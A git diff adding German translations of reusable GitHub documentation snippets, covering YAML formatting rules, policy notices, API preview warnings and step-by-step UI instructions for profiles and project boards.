diff --git a/translations/de-DE/data/reusables/pages/yaml-linter.md b/translations/de-DE/data/reusables/pages/yaml-linter.md
new file mode 100644
index 0000000000..a6964bf1c3
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/yaml-linter.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 57321a60ada06b71a54fc1e7aed2167299ecfe54
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107323"
+---
+Um eventuelle Fehler zu erkennen, kannst du den Inhalt deiner YAML-Datei in einen YAML-Linter wie [YAML Validator](http://codebeautify.org/yaml-validator) kopieren und einfügen.
diff --git a/translations/de-DE/data/reusables/pages/yaml-rules.md b/translations/de-DE/data/reusables/pages/yaml-rules.md
new file mode 100644
index 0000000000..3db4a4b50a
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/yaml-rules.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2a1448655ea7be5a5e420c0e815404340eb1ca5d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107320"
+---
+- Verwende Leerzeichen statt Tabs.
+- Füge nach dem `:` für jedes Schlüssel-Wert-Paar ein Leerzeichen ein. Beispiel: `timezone: Africa/Nairobi`.
+- Verwende nur UTF-8-Zeichen.
+- Setze Sonderzeichen wie `:` in Anführungszeichen. Beispiel: `title: "my awesome site: an adventure in parse errors"`.
+- Verwende `|` in mehrzeiligen Werten, um neue Zeilen zu erstellen, und `>`, um neue Zeilen zu ignorieren.
diff --git a/translations/de-DE/data/reusables/policies/abuse.md b/translations/de-DE/data/reusables/policies/abuse.md
new file mode 100644
index 0000000000..37a7368e1e
--- /dev/null
+++ b/translations/de-DE/data/reusables/policies/abuse.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87d35740b9dcc3249a1132ea172a5e0727bb4c02
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876989"
+---
+{% data variables.product.prodname_dotcom %} toleriert keinen Missbrauch.{% ifversion fpt or ghec %} Weitere Informationen zu den Richtlinien von {% data variables.product.prodname_dotcom %} findest du in unseren [Vertragsbedingungen](/free-pro-team@latest/github/site-policy/github-terms-of-service) und [Communityrichtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines).{% endif %}
diff --git a/translations/de-DE/data/reusables/policies/github-community-guidelines-and-terms.md b/translations/de-DE/data/reusables/policies/github-community-guidelines-and-terms.md
new file mode 100644
index 0000000000..cf2578a9a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/policies/github-community-guidelines-and-terms.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7214104e2581008e43b528756589ff9d89f98c38
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107316"
+---
+{% data variables.product.company_short %} bietet einen Basis Verhaltenskodex für alle Benutzer, die {% data variables.product.prodname_dotcom_the_website %} verwenden. Weitere Informationen findest du unter [{% data variables.product.company_short %} Vertragsbedingungen](/free-pro-team@latest/github/site-policy/github-terms-of-service) und [{% data variables.product.company_short %}-Communityrichtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines).
diff --git a/translations/de-DE/data/reusables/policies/translation.md b/translations/de-DE/data/reusables/policies/translation.md
new file mode 100644
index 0000000000..211e625de0
--- /dev/null
+++ b/translations/de-DE/data/reusables/policies/translation.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: af055b3b51fb304529bc902576b6025b6018d4f2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881780"
+---
+Dieses Dokument ist aus dem Englischen übersetzt. Im Falle von Konflikten, Unsicherheiten oder offensichtlichen Unstimmigkeiten zwischen dieser Version und der englischen Version(en) dieses Dokuments, ist die englische Version die maßgebende Version.
+
+Wenn du Vorschläge zur Verbesserung unserer Übersetzung hast, <a href="https://github.com/github/site-policy/issues">öffne ein Issue in unserem Repository für Websiterichtlinien</a>.
diff --git a/translations/de-DE/data/reusables/pre-release-program/api-preview-warning.md b/translations/de-DE/data/reusables/pre-release-program/api-preview-warning.md
new file mode 100644
index 0000000000..7b16299251
--- /dev/null
+++ b/translations/de-DE/data/reusables/pre-release-program/api-preview-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: fac9d9348335cfdce0878cceb276648ee9b93bdc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107312"
+---
+{% warning %}
+
+**Warnung**: Die API kann sich während des Vorschauzeitraums ohne vorherige Ankündigung ändern. Vorschaufeatures werden für die Verwendung in der Produktion nicht unterstützt. Wenn Probleme auftreten, wende dich an {% data variables.contact.contact_support %}.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/pre-release-program/content-attachments-public-beta.md b/translations/de-DE/data/reusables/pre-release-program/content-attachments-public-beta.md
new file mode 100644
index 0000000000..dcfe69822c
--- /dev/null
+++ b/translations/de-DE/data/reusables/pre-release-program/content-attachments-public-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a9ab4ec69312b7917e654279248338eaf3999b25
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107311"
+---
+{% note %}
+
+**Hinweis**: Die {% data variables.product.prodname_unfurls %}-API befindet sich derzeit in der öffentlichen Betaphase und ist nur für die Verwendung mit GitHub Apps verfügbar. Features und Anforderungen können sich während dieses Zeitraums jederzeit ändern.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/pre-release-program/corsair-preview.md b/translations/de-DE/data/reusables/pre-release-program/corsair-preview.md
new file mode 100644
index 0000000000..e16a12f995
--- /dev/null
+++ b/translations/de-DE/data/reusables/pre-release-program/corsair-preview.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 333cbe113a228435e2661d3da994bc0e8541d151
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107295"
+---
+{% note %}
+
+**Hinweis**: Um während des Vorschauzeitraums auf die {% data variables.product.prodname_unfurls %}-API zuzugreifen, musst du einen benutzerdefinierten [Medientyp](/rest/overview/media-types) im `Accept`-Header bereitstellen:
+
+```
+application/vnd.github.corsair-preview+json
+```
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/pre-release-program/expiring-user-access-tokens.md b/translations/de-DE/data/reusables/pre-release-program/expiring-user-access-tokens.md
new file mode 100644
index 0000000000..46f9b2d0d0
--- /dev/null
+++ b/translations/de-DE/data/reusables/pre-release-program/expiring-user-access-tokens.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: dd38b5506d6696876419f48fada5abbfe373d21c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107292"
+---
+{% ifversion fpt or ghes or ghae %}
+
+{% note %}
+
+**Hinweis:** Auslaufende Benutzertoken sind derzeit ein optionales Feature und unterliegen Änderungen. Informationen zum Aktivieren oder Deaktivieren des Ablaufs von Benutzer-zu-Server-Token findest du unter [Aktivieren optionaler Features für Apps](/developers/apps/activating-optional-features-for-apps). Weitere Informationen findest du unter [Ablauf von Benutzer-zu-Server-Zugriffstoken für GitHub Apps](https://developer.github.com/changes/2020-04-30-expiring-user-to-server-access-tokens-for-github-apps).
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pre-release-program/starfox-preview.md b/translations/de-DE/data/reusables/pre-release-program/starfox-preview.md
new file mode 100644
index 0000000000..58e399377c
--- /dev/null
+++ b/translations/de-DE/data/reusables/pre-release-program/starfox-preview.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 3557e85680e20919fbe049cfe30ccacc93d9c17c
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879809"
+---
+{% note %}
+
+**Hinweis**: Projektkartendetails werden jetzt in REST-API-Antworten für projektbezogene Issue- und Zeitachsenereignisse angezeigt. Dieses Feature ist jetzt als Vorschauversion für Entwickler verfügbar. Ausführliche Informationen hierzu findest du in diesem [Blogbeitrag](https://developer.github.com/changes/2018-09-05-project-card-events).
+
+Um das `project_card`-Attribut zu erhalten, müssen Projektboards für ein Repository [aktiviert](/articles/disabling-project-boards-in-a-repository) sein, und du musst einen benutzerdefinierten [Medientyp](/rest/overview/media-types) im `Accept`-Header bereitstellen:
+
+```
+application/vnd.github.starfox-preview+json
+```
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/products/product-roadmap.md b/translations/de-DE/data/reusables/products/product-roadmap.md
new file mode 100644
index 0000000000..c8b57ac5ca
--- /dev/null
+++ b/translations/de-DE/data/reusables/products/product-roadmap.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d51d758f681a3de90c28a4b299ec31fdbf827c13
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107288"
+---
+Informationen zu geplanten Features und Produkten findest du in der [{% data variables.product.prodname_roadmap %}]({% data variables.product.prodname_roadmap_link %}).
diff --git a/translations/de-DE/data/reusables/products/which-product-to-use.md b/translations/de-DE/data/reusables/products/which-product-to-use.md
new file mode 100644
index 0000000000..8d58a57caf
--- /dev/null
+++ b/translations/de-DE/data/reusables/products/which-product-to-use.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7b631491414810545a8755f2c9532494c9e84a24
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "146683645"
+---
+Wenn du unsicher bist, ob {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} oder sogar beide für deine Organisation am besten geeignet sind, kontaktiere {% data variables.contact.contact_enterprise_sales %}. Wenn deine Organisation höchstens 11 Entwickler hat, solltest du {% data variables.product.prodname_team %} in Betracht ziehen; Organisationen mit mindestens 12 Entwicklern profitieren in der Regel am meisten von {% data variables.product.prodname_enterprise %}. Weitere Informationen findest du unter [{% data variables.product.prodname_dotcom %}-Produkte](/get-started/learning-about-github/githubs-products).
diff --git a/translations/de-DE/data/reusables/profile/access_org.md b/translations/de-DE/data/reusables/profile/access_org.md
new file mode 100644
index 0000000000..3774b51fa3
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/access_org.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 08564f054c871af7f61db8dba021b32a618a6e18
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107284"
+---
+1. Klicke in der oberen rechten Ecke von {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} auf dein Profilfoto, und klicke dann auf **Deine Organisationen**.
+  ![Deine Organisationen im Profilmenü](/assets/images/help/profile/your-organizations.png)
diff --git a/translations/de-DE/data/reusables/profile/access_profile.md b/translations/de-DE/data/reusables/profile/access_profile.md
new file mode 100644
index 0000000000..0317681471
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/access_profile.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 8068e9cbf46131747b599a20683b1b64d8d7a298
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107283"
+---
+{% ifversion fpt or ghec %}1. Klicke in der oberen rechten Ecke von {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} auf dein Profilfoto, und klicke dann auf **Dein Profil**.
+  ![Profilfoto](/assets/images/help/profile/top_right_avatar.png){% else %}
+1. Klicke in der oberen rechten Ecke von {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} auf dein Profilfoto, und klicke dann auf **Dein Profil**.
+  ![Profilfoto](/assets/images/enterprise/settings/top_right_avatar.png){% endif %}
diff --git a/translations/de-DE/data/reusables/profile/activity-overview-summary.md b/translations/de-DE/data/reusables/profile/activity-overview-summary.md
new file mode 100644
index 0000000000..f21c9fe473
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/activity-overview-summary.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bdea9acea7d20b628a1aaff5f9a648009072ba5b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091194"
+---
+Wenn Du den Aktivitätsübersichts-Abschnitt in Deinem Profil aktivierst, können Betrachter mehr Informationen über die Art Deiner Beiträge sehen und in welchen Repositorys Du am aktivsten bist. Ein Betrachter kann in der Aktivitätsübersicht nur Informationen über Repositorys sehen, in denen er Lesezugriff hat. Wenn aktiviert, kann ein Betrachter Dein Beteiligungsdiagramm und Deine Aktivitäten-Zeitleiste für eine bestimmte Organisation filtern.
diff --git a/translations/de-DE/data/reusables/profile/enterprise_access_profile.md b/translations/de-DE/data/reusables/profile/enterprise_access_profile.md
new file mode 100644
index 0000000000..3f7af6f271
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/enterprise_access_profile.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: df0e4b2d0bec51f2927b95a6dd4fc236950ffb91
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091189"
+---
+1. Klicke in der oberen rechten Ecke von {% data variables.product.prodname_ghe_server %} auf dein Profilfoto und dann auf **Dein Profil**.
+![Profilfoto](/assets/images/enterprise/settings/top_right_avatar.png)
diff --git a/translations/de-DE/data/reusables/profile/navigating-to-profile.md b/translations/de-DE/data/reusables/profile/navigating-to-profile.md
new file mode 100644
index 0000000000..e6e7ea35b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/navigating-to-profile.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 32a0fded4915b0b23b3db1110d556bd14e0830a8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106645"
+---
+1. Klicke oben rechts auf einer {% data variables.product.product_name %}-Seite auf dein Profilfoto und dann auf **Dein Profil**. 
diff --git a/translations/de-DE/data/reusables/profile/org_member_privileges.md b/translations/de-DE/data/reusables/profile/org_member_privileges.md
new file mode 100644
index 0000000000..52a55e7919
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/org_member_privileges.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e3a9476d827f5f8dd0bcb1da22c2e3fb3865d30b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091188"
+---
+3. Klicke unter „Zugriff“ auf **Mitgliedsberechtigungen**.
+     ![Screenshot der Registerkarte „Mitgliedsberechtigungen“](/assets/images/help/organizations/member-privileges.png) 
diff --git a/translations/de-DE/data/reusables/profile/org_settings.md b/translations/de-DE/data/reusables/profile/org_settings.md
new file mode 100644
index 0000000000..ace3bb3f2c
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/org_settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9f81529edf195584171d040005a78b26011ee018
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091183"
+---
+2. Klicke neben der Organisation auf **Einstellungen**.
+  ![Schaltfläche „Einstellungen“](/assets/images/help/organizations/settings-button.png)
diff --git a/translations/de-DE/data/reusables/profile/profile-readme.md b/translations/de-DE/data/reusables/profile/profile-readme.md
new file mode 100644
index 0000000000..374e3c6c76
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/profile-readme.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7291bcbd16f26365ca5840b6409ebceecb033470
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091182"
+---
+Wenn du dem Stammverzeichnis eines öffentlichen Repositorys eine README hinzufügst, deren Namen identisch mit deinem Benutzernamen ist, wird diese automatisch auf deiner Profilseite angezeigt. Du kannst die README deines Profils mit {% data variables.product.company_short %} Flavored Markdown bearbeiten, um einen personalisierten Abschnitt in deinem Profil zu erstellen. Weitere Informationen findest du unter [Verwalten der README für dein Profil](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme).
diff --git a/translations/de-DE/data/reusables/profile/user_profile_page_block_or_report.md b/translations/de-DE/data/reusables/profile/user_profile_page_block_or_report.md
new file mode 100644
index 0000000000..7919dcf384
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/user_profile_page_block_or_report.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c3135ce5295270c1796b4c32bb2c0c019333746a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091177"
+---
+1. Klicke in der linken Seitenleiste unterhalb der Benutzerprofilinformationen auf **Blockieren oder melden**.
+![Link zum Blockieren oder Melden](/assets/images/help/profile/profile-block-or-report-button.png)
diff --git a/translations/de-DE/data/reusables/profile/user_profile_page_navigation.md b/translations/de-DE/data/reusables/profile/user_profile_page_navigation.md
new file mode 100644
index 0000000000..548d7da1dd
--- /dev/null
+++ b/translations/de-DE/data/reusables/profile/user_profile_page_navigation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fb124c0893cd6005ea1c2ce12a01bb054f849737
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091176"
+---
+1. Besuche die Profilseite des Benutzers.
diff --git a/translations/de-DE/data/reusables/project-management/access-collaboration-settings.md b/translations/de-DE/data/reusables/project-management/access-collaboration-settings.md
new file mode 100644
index 0000000000..16ebb3cf17
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/access-collaboration-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b382179601ebbd40c1fcbbde6d8e7caa4519f6c2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091171"
+---
+1. Klicke auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Einstellungen**.
+![Einstellungsoption im Dropdownmenü der Projektboard-Seitenleiste](/assets/images/help/projects/project-board-settings.png)
diff --git a/translations/de-DE/data/reusables/project-management/add-collaborator.md b/translations/de-DE/data/reusables/project-management/add-collaborator.md
new file mode 100644
index 0000000000..c4cdf49bdc
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/add-collaborator.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1808a45502856d17b288cf58321b88a0657245a1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091170"
+---
+10. Klicke in den Suchergebnissen auf den richtigen Benutzernamen und dann auf **Mitarbeiter hinzufügen**.
diff --git a/translations/de-DE/data/reusables/project-management/add-column-new-project.md b/translations/de-DE/data/reusables/project-management/add-column-new-project.md
new file mode 100644
index 0000000000..e823ecbb2e
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/add-column-new-project.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d3c7ed96c179ee3c4eb0334b2fbd5c2a8a8bd917
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883748"
+---
+1. Um deinem neuen Projektboard die erste Spalte hinzuzufügen, klicke auf **Spalte hinzufügen**.
+  ![Schaltfläche „Spalte hinzufügen“ auf einem leeren Projektboard](/assets/images/help/projects/add-column.png)
diff --git a/translations/de-DE/data/reusables/project-management/add-more-columns.md b/translations/de-DE/data/reusables/project-management/add-more-columns.md
new file mode 100644
index 0000000000..a6635a7efb
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/add-more-columns.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 091d2be25dd2468605688d2ff1e3a56aa4ae1b82
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091134"
+---
+1. Füge Spalten entsprechend Deinem Workflow hinzu.
diff --git a/translations/de-DE/data/reusables/project-management/automate-project-board-permissions.md b/translations/de-DE/data/reusables/project-management/automate-project-board-permissions.md
new file mode 100644
index 0000000000..ff009da000
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/automate-project-board-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5d093359be4fb76de1520a0d143c077bab0333bd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147422692"
+---
+Um automatisierte Workflows für dein Repository-{% data variables.projects.projects_v1_board %} einzurichten, musst du Schreibzugriff auf das Repository haben. Organisationsbesitzer*innen und -mitglieder können automatisierte Workflows auf einem organisationsweiten {% data variables.projects.projects_v1_board %} konfigurieren.
diff --git a/translations/de-DE/data/reusables/project-management/cascading-permissions.md b/translations/de-DE/data/reusables/project-management/cascading-permissions.md
new file mode 100644
index 0000000000..078dcbd86f
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/cascading-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7004404db9f15389d29b5f8878ed9f2d0b8d5bed
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879849"
+---
+Wenn eine Person über mehrere Zugriffsmöglichkeiten für ein {% data variables.projects.projects_v1_board %} der Organisation verfügt (individuell, durch ein Team oder als Organisationsmitglied), setzt die höchste Berechtigungsstufe für das {% data variables.projects.projects_v1_board %} die niedrigeren Berechtigungsstufen außer Kraft.
diff --git a/translations/de-DE/data/reusables/project-management/choose-template.md b/translations/de-DE/data/reusables/project-management/choose-template.md
new file mode 100644
index 0000000000..9f15469d2f
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/choose-template.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1c28bd96763cb93801b7dac307b5d2d94c5266d9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091123"
+---
+5. Optional kannst du deinem Projektboard eine Vorlage hinzufügen, indem du das Dropdownmenü **Vorlage:** öffnest und auf eine Vorlage klickst.
+![Dropdownmenü mit Optionen für Projektboardvorlagen](/assets/images/help/projects/project_board_template_drop_down_menu.png)
diff --git a/translations/de-DE/data/reusables/project-management/choose-visibility.md b/translations/de-DE/data/reusables/project-management/choose-visibility.md
new file mode 100644
index 0000000000..c8662718c4
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/choose-visibility.md
@@ -0,0 +1,2 @@
+1. Under "Visibility", choose to make your project board {% ifversion ghae %}internal{% else %}public{% endif %} or private. For more information, see "[Changing project board visibility](/github/managing-your-work-on-github/changing-project-board-visibility)."
+  ![Radio buttons to choose project board visibility]{% ifversion ghae %}(/assets/images/help/projects/visibility-radio-buttons-ae.png){% elsif ghes > 3.4 %}(/assets/images/help/projects/visibility-radio-buttons-es.png){% else %}(/assets/images/help/projects/visibility-radio-buttons.png){% endif %}
diff --git a/translations/de-DE/data/reusables/project-management/click-create-column.md b/translations/de-DE/data/reusables/project-management/click-create-column.md
new file mode 100644
index 0000000000..fb187060c2
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/click-create-column.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c6548d47329e27c081cd4f29281ac947f26c9b20
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091117"
+---
+1. Klicken Sie auf **Spalte erstellen**.
diff --git a/translations/de-DE/data/reusables/project-management/click-edit-sidebar-menu-project-board.md b/translations/de-DE/data/reusables/project-management/click-edit-sidebar-menu-project-board.md
new file mode 100644
index 0000000000..0138cd8296
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/click-edit-sidebar-menu-project-board.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f78f0ce2e9edffa3b529710b5edb864a1ba95501
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091116"
+---
+1. Klicke auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Bearbeiten**.
+![Bearbeitungsoption im Dropdownmenü der Projektboard-Seitenleiste](/assets/images/help/projects/project-board-edit-settings.png)
diff --git a/translations/de-DE/data/reusables/project-management/click-menu.md b/translations/de-DE/data/reusables/project-management/click-menu.md
new file mode 100644
index 0000000000..a9c0485cb0
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/click-menu.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8ab051a694a099f9c0008529f3e682724d830b5e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884526"
+---
+1. Klicke oben rechts im {% data variables.projects.projects_v1_board %} auf {% octicon "three-bars" aria-label="The three-bars octicon" %} **Menü**.
diff --git a/translations/de-DE/data/reusables/project-management/click-new-project.md b/translations/de-DE/data/reusables/project-management/click-new-project.md
new file mode 100644
index 0000000000..c3274d44b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/click-new-project.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 282da1d7c9e184c1d1e44c969388cf44edc7617f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105991"
+---
+1. Klicken Sie auf **Neues Projekt**.
+![Schaltfläche „Neues Projekt“](/assets/images/help/projects/new-project-button.png)
diff --git a/translations/de-DE/data/reusables/project-management/collaborator-option.md b/translations/de-DE/data/reusables/project-management/collaborator-option.md
new file mode 100644
index 0000000000..fa130243e3
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/collaborator-option.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 37b1e2b8a208d0232169eabdfd6af913ba830f42
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091105"
+---
+8. Klicke auf der linken Randleiste auf **Mitarbeiter**.
+ ![Menüoption „Mitarbeiter“ auf der linken Randleiste](/assets/images/help/projects/project-board-collaborator-setting.png)
diff --git a/translations/de-DE/data/reusables/project-management/collaborator-permissions.md b/translations/de-DE/data/reusables/project-management/collaborator-permissions.md
new file mode 100644
index 0000000000..8820b7a13d
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/collaborator-permissions.md
@@ -0,0 +1,9 @@
+---
